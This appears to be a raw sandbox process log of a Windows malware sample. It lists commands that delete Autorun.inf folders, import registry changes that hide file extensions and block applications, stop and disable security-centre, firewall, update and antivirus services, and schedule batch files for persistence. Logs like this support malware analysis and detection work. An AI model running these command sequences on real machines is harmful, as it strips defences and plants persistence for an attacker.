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C:\Windows\SysWOW64\cmd.execmd /c attrib -s -h -r F:\Autorun.inf\*.* /s /d3⤵PID:4996
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C:\Windows\SysWOW64\cmd.execmd /c rmdir C:\Autorun.inf /s /q3⤵PID:3968
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C:\Windows\SysWOW64\cmd.execmd /c attrib -s -h -r C:\Autorun.inf\*.* /s /d3⤵PID:3680
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C:\Windows\SysWOW64\cmd.execmd /c rmdir F:\Autorun.inf /s /q3⤵PID:4464
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C:\Windows\SysWOW64\cmd.execmd /c attrib -s -h -r F:\Autorun.inf\*.* /s /d3⤵PID:3564
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C:\Windows\SysWOW64\cmd.execmd /c rmdir C:\Autorun.inf /s /q3⤵PID:1196
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C:\Windows\SysWOW64\cmd.execmd /c attrib -s -h -r C:\Autorun.inf\*.* /s /d3⤵PID:1812
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C:\Windows\SysWOW64\cmd.execmd /c rmdir F:\Autorun.inf /s /q3⤵PID:4324
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C:\Windows\SysWOW64\cmd.execmd /c attrib -s -h -r F:\Autorun.inf\*.* /s /d3⤵PID:4500
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C:\Windows\SysWOW64\cmd.execmd /c rmdir C:\Autorun.inf /s /q3⤵PID:1584
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C:\Windows\SysWOW64\cmd.execmd /c attrib -s -h -r C:\Autorun.inf\*.* /s /d3⤵PID:4368
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C:\Windows\SysWOW64\cmd.execmd /c attrib -s -h -r F:\Autorun.inf\*.* /s /d3⤵PID:536
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C:\Windows\SysWOW64\attrib.exeattrib -s -h -r F:\Autorun.inf\*.* /s /d4⤵
- Views/modifies file attributes
PID:60
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C:\Windows\SysWOW64\cmd.execmd /c rmdir F:\Autorun.inf /s /q3⤵PID:2960
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C:\Windows\SysWOW64\cmd.execmd /c attrib -s -h -r C:\Autorun.inf\*.* /s /d3⤵PID:2844
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C:\Windows\SysWOW64\attrib.exeattrib -s -h -r C:\Autorun.inf\*.* /s /d4⤵
- Views/modifies file attributes
PID:3668
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C:\Windows\SysWOW64\cmd.execmd /c rmdir C:\Autorun.inf /s /q3⤵PID:2784
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C:\Windows\SysWOW64\cmd.execmd /c attrib -s -h -r F:\Autorun.inf\*.* /s /d3⤵PID:1432
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C:\Windows\SysWOW64\attrib.exeattrib -s -h -r F:\Autorun.inf\*.* /s /d4⤵
- Views/modifies file attributes
PID:2292
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C:\Windows\SysWOW64\cmd.execmd /c rmdir F:\Autorun.inf /s /q3⤵PID:1676
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C:\Windows\SysWOW64\cmd.execmd /c attrib -s -h -r C:\Autorun.inf\*.* /s /d3⤵PID:4884
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C:\Windows\SysWOW64\attrib.exeattrib -s -h -r C:\Autorun.inf\*.* /s /d4⤵
- Views/modifies file attributes
PID:3604
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C:\Windows\SysWOW64\cmd.execmd /c rmdir C:\Autorun.inf /s /q3⤵PID:4564
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C:\Windows\SysWOW64\cmd.execmd /c rmdir F:\Autorun.inf /s /q3⤵PID:3636
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C:\Windows\SysWOW64\cmd.execmd /c attrib -s -h -r F:\Autorun.inf\*.* /s /d3⤵PID:4020
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C:\Windows\SysWOW64\cmd.execmd /c rmdir C:\Autorun.inf /s /q3⤵PID:1580
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C:\Windows\SysWOW64\cmd.execmd /c attrib -s -h -r C:\Autorun.inf\*.* /s /d3⤵PID:4380
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C:\Windows\SysWOW64\regedit.exeregedit.exe /s C:\Windows\regedt32.sys2⤵
- Modifies visibility of file extensions in Explorer
- Blocks application from running via registry modification
- Sets file execution options in registry
- Runs regedit.exe
PID:3204
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C:\Windows\SysWOW64\sc.exeC:\Windows\system32\sc.exe config srservice start= disabled2⤵
- Launches sc.exe
PID:1240
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C:\Windows\SysWOW64\sc.exeC:\Windows\system32\sc.exe config wscsvc start= disabled2⤵
- Launches sc.exe
PID:1672
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C:\Windows\SysWOW64\sc.exeC:\Windows\system32\sc.exe config srservice start= disabled2⤵
- Launches sc.exe
PID:1512 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop 360timeprot /y3⤵PID:3612
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C:\Windows\SysWOW64\net.exenet.exe stop 360timeprot /y2⤵
- Suspicious use of WriteProcessMemory
PID:1968
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C:\Windows\SysWOW64\net.exenet.exe stop srservice /y2⤵
- Suspicious use of WriteProcessMemory
PID:2028
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C:\Windows\SysWOW64\net.exenet.exe stop wuauserv /y2⤵PID:740
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C:\Windows\SysWOW64\net.exenet.exe stop sharedaccess /y2⤵PID:4980
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C:\Windows\SysWOW64\net.exenet.exe stop wscsvc /y2⤵PID:2092
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C:\Windows\SysWOW64\cmd.execmd /c at 7:45:10 PM C:\Windows\Sysinf.bat2⤵PID:1748
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C:\Windows\SysWOW64\cmd.execmd /c at 7:42:10 PM C:\Windows\Sysinf.bat2⤵PID:2632
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C:\Windows\SysWOW64\At.exeAt.exe 7:43:08 PM C:\Windows\Help\HelpCat.exe2⤵PID:5020
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C:\Windows\SysWOW64\net.exenet.exe stop 360timeprot /y2⤵PID:1512
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C:\Windows\SysWOW64\net.exenet.exe stop srservice /y2⤵PID:1492
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C:\Windows\SysWOW64\net.exenet.exe stop wuauserv /y2⤵PID:2548
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C:\Windows\SysWOW64\net.exenet.exe stop sharedaccess /y2⤵PID:4584
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C:\Windows\SysWOW64\net.exenet.exe stop wscsvc /y2⤵PID:536
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start schedule /y1⤵PID:2564
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop srservice /y1⤵PID:2648
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop sharedaccess /y1⤵PID:4972
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C:\Windows\SysWOW64\at.exeat 7:42:10 PM C:\Windows\Sysinf.bat1⤵PID:4720
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wscsvc /y1⤵PID:1576
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C:\Windows\SysWOW64\at.exeat 7:45:10 PM C:\Windows\Sysinf.bat1⤵PID:1756
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop 360timeprot /y1⤵PID:2824
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start schedule /y1⤵PID:4404
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C:\Windows\SysWOW64\net.exenet.exe start schedule /y1⤵PID:2284
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat1⤵PID:4364
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv /y1⤵PID:2428
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Suspicious use of WriteProcessMemory
PID:4128
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop sharedaccess /y1⤵PID:1592
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C:\Windows\SysWOW64\attrib.exeattrib -s -h -r F:\Autorun.inf\*.* /s /d1⤵
- Views/modifies file attributes
PID:2528
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop srservice /y1⤵PID:2536
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv /y1⤵PID:1460
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv /y1⤵PID:3764
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C:\Windows\SysWOW64\at.exeat 7:45:14 PM C:\Windows\Sysinf.bat1⤵PID:2340
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop srservice /y1⤵PID:3844
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop 360timeprot /y1⤵PID:4528
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C:\Windows\SysWOW64\at.exeat 7:42:14 PM C:\Windows\Sysinf.bat1⤵PID:1944
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop sharedaccess /y1⤵PID:1496
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wscsvc /y1⤵PID:1460
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wscsvc /y1⤵PID:1404
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵PID:2824
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Suspicious use of WriteProcessMemory
PID:740
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C:\Windows\SysWOW64\attrib.exeattrib -s -h -r C:\Autorun.inf\*.* /s /d1⤵
- Views/modifies file attributes
PID:4360
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵PID:4584
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C:\Windows\SysWOW64\attrib.exeattrib -s -h -r F:\Autorun.inf\*.* /s /d1⤵
- Views/modifies file attributes
PID:1092
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵PID:4528
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C:\Windows\SysWOW64\attrib.exeattrib -s -h -r C:\Autorun.inf\*.* /s /d1⤵
- Views/modifies file attributes
PID:3940
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵
- Suspicious use of WriteProcessMemory
PID:1748
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C:\Windows\SysWOW64\attrib.exeattrib -s -h -r F:\Autorun.inf\*.* /s /d1⤵
- Views/modifies file attributes
PID:2428
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵PID:2632
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵PID:5020
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C:\Windows\SysWOW64\attrib.exeattrib -s -h -r F:\Autorun.inf\*.* /s /d1⤵
- Views/modifies file attributes
PID:1356
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵PID:3764
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C:\Windows\SysWOW64\attrib.exeattrib -s -h -r C:\Autorun.inf\*.* /s /d1⤵
- Views/modifies file attributes
PID:1256
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C:\Windows\SysWOW64\attrib.exeattrib -s -h -r C:\Autorun.inf\*.* /s /d1⤵
- Views/modifies file attributes
PID:2648
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start wuauserv1⤵
- Launches sc.exe
PID:4984
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C:\Windows\SysWOW64\attrib.exeattrib -s -h -r F:\Autorun.inf\*.* /s /d1⤵
- Views/modifies file attributes
PID:2240
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C:\Windows\SysWOW64\attrib.exeattrib -s -h -r C:\Autorun.inf\*.* /s /d1⤵
- Views/modifies file attributes
PID:3412